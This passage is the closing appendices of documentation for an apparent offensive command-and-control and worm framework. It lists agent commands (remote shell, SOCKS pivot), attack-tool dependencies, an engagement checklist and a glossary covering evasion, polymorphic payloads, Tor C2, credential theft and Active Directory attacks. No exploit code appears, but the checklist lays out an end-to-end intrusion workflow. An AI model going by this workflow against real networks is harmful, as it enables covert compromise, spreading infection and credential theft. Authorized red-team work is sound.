PTY Shell: `PTY_START`, `PTY_STOP`

SOCKS5 Pivot: `PROXY_START`, `PROXY_STOP`

Shell: any other text -> treated as shell command and executed via `cmd.exe /c` (Windows) or `bash -c` (Linux)

Appendix C — Dependencies Summary

Dependency	Install	Required For
Python 3.8+	system	Everything
`cloudflared`	GitHub	All remote attacks
`mitmproxy`	`pip install mitmproxy`	MitM module
`Pillow`	`pip install Pillow`	Steganography
`msfvenom`	Kali built-in	Shellcode, Android APK
`nasm`	`apt install nasm`	Fallback shellcode
`arpspoof`	`apt install dsniff`	Physical LAN attacks
`bettercap`	`apt install bettercap`	DNS spoof (physical)
`openssl`	system	Certificate generation
`gcc`	system	Kernel exploit compilation
`impacket`	`pip install impacket`	AD attacks (Kerberoast/DCSync/PTH)
`ldap3`	`pip install ldap3`	LDAP spray, AD enumeration
`bloodhound`	`pip install bloodhound`	BloodHound collection
`tor`	`apt install tor`	Tor hidden service C2
`torsocks`	`apt install torsocks`	Route tools through Tor

Appendix D — Engagement Checklist

Pre-engagement: - [ ] Written authorization obtained - [ ] Scope of testing defined and documented - [ ] Emergency contact established - [ ] Backup C2 URL configured (CF_DOMAIN)

Setup: - [ ] `bash start install` run - [ ] `start domain` configured (optional) - [ ] All dependencies installed (`pip install mitmproxy Pillow`) - [ ] `start status` shows clean state

Pre-deployment: - [ ] `start poly all` — remutate all payloads - [ ] `start untrack` — pass stealth audit - [ ] `start shellcode gen` — fresh shellcode generated - [ ] C2 URL baked into all payloads - [ ] `start profile set <name>` — configure malleable C2 profile - [ ] `start redirector apache` — set up redirector VPS (if applicable)

During engagement: - [ ] `start creds` running in separate terminal - [ ] C2 panel open at `https://localhost:8888/panel` - [ ] `start logs` running for anomaly detection - [ ] `start llmnr start` — capture NTLM hashes if on LAN - [ ] `start netmap` — monitor infection spread

Active Directory (if in-scope): - [ ] `AD_ENUM` — enumerate domain - [ ] `KERBEROAST` — collect SPN hashes for cracking - [ ] `BLOODHOUND` — collect for attack path analysis - [ ] `DCSYNC` — replicate credential database after DA achieved

Post-engagement: - [ ] Send `CLEAN` to all agents - [ ] Send `SELFDESTRUCT` to all agents - [ ] `start llmnr stop` — stop poisoner - [ ] `start down` to stop all local processes - [ ] Remove any dropped files from targets - [ ] `start report html` — generate engagement report - [ ] Archive logs for report

Appendix E — Glossary

Term	Meaning
Agent	Persistent backdoor running on compromised host
Worm	Self-propagating agent with multiple spread vectors
Stage1	Tiny first-stage loader that downloads the full agent
Stager	Another term for Stage1
BitB	Browser-in-the-Browser — fake login popup overlay
MitM	Man-in-the-Middle — intercept and relay network traffic
AMSI	Antimalware Scan Interface — Windows AV hook
ETW	Event Tracing for Windows — telemetry for Defender
CFG	Control Flow Guard / Control Flow Graph

Term	Meaning
ROR-13	Rotate-right-13 hash algorithm (API resolution in shellcode)
PEB	Process Environment Block — Windows data structure holding loaded DLLs
LSB	Least Significant Bit — used in steganography
DoH	DNS over HTTPS — encrypted DNS (used for C2 fallback)
LPE	Local Privilege Escalation
LKM	Loadable Kernel Module — rootkit insertion method
MDM	Mobile Device Management — used for iOS CA cert install
IoC	Indicator of Compromise — artifacts that reveal malicious activity
Fileless	Payload executes in memory, never touches disk
Timestomp	Modify file timestamps to match legitimate system files
CDN	Content Delivery Network — WiZZA mimics Cloudflare CDN
Polymorphic	Code that changes its appearance while keeping functionality
UAF	Use-After-Free — kernel memory corruption class
OOB	Out-Of-Bounds — memory access past buffer boundary
PTH	Pass the Hash — authenticate with NTLM hash without cracking
PTT	Pass the Ticket — authenticate with Kerberos ticket (.ccache)
Kerberoasting	Request TGS tickets for SPN accounts and crack offline
AS-REP Roasting	Capture AS-REP for accounts without pre-auth, crack offline
DCSync	Replicate AD password database using MS-DRSR protocol
Golden Ticket	Forged TGT using krbtgt hash — valid for any user, 10 years
Silver Ticket	Forged TGS for a specific service using service account hash
LLMNR	

Term	Meaning
	Link-Local Multicast Name Resolution — Windows fallback DNS
NBT-NS	NetBIOS Name Service — legacy Windows name resolution
NTLMv2	Net-NTLMv2 — Windows challenge-response authentication hash
Responder	Tool that poisons LLMNR/NBT-NS (WiZZA's llmnr_poison.py is similar)
Redirector	VPS that fronts the C2 and filters non-beacon traffic
Domain fronting	Routing C2 via CDN to disguise true C2 destination
SOCKS5	SOCKS version 5 — proxy protocol for TCP tunneling
PTY	Pseudo-Terminal — virtual terminal providing full interactive shell
SSE	Server-Sent Events — HTTP streaming from server to browser
Malleable C2	C2 with configurable HTTP profiles that mimic legitimate traffic
BloodHound	AD attack path analysis tool using graph theory
SPN	Service Principal Name — AD service account identifier (Kerberoast target)
TGT	Ticket-Granting Ticket — Kerberos initial authentication ticket
TGS	Ticket-Granting Service ticket — Kerberos service access ticket
krbtgt	Kerberos ticket-granting service account — hash used for Golden Ticket

---